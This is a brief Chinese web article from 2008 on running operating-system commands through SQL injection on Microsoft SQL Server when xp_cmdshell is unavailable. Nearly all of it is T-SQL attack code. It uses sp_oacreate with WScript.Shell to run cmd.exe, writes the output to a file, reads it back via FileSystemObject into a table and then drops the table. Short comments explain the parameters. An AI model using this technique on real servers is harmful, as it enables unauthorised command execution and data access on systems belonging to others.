不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令
作者: 来源: 添加日期:2008-5-19 11:18:56
EXEC sp_oacreate 'ws cript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true' --注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
EXEC sp_oacreate 's cripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' --因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌
WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
DROP TABLE MYTMP |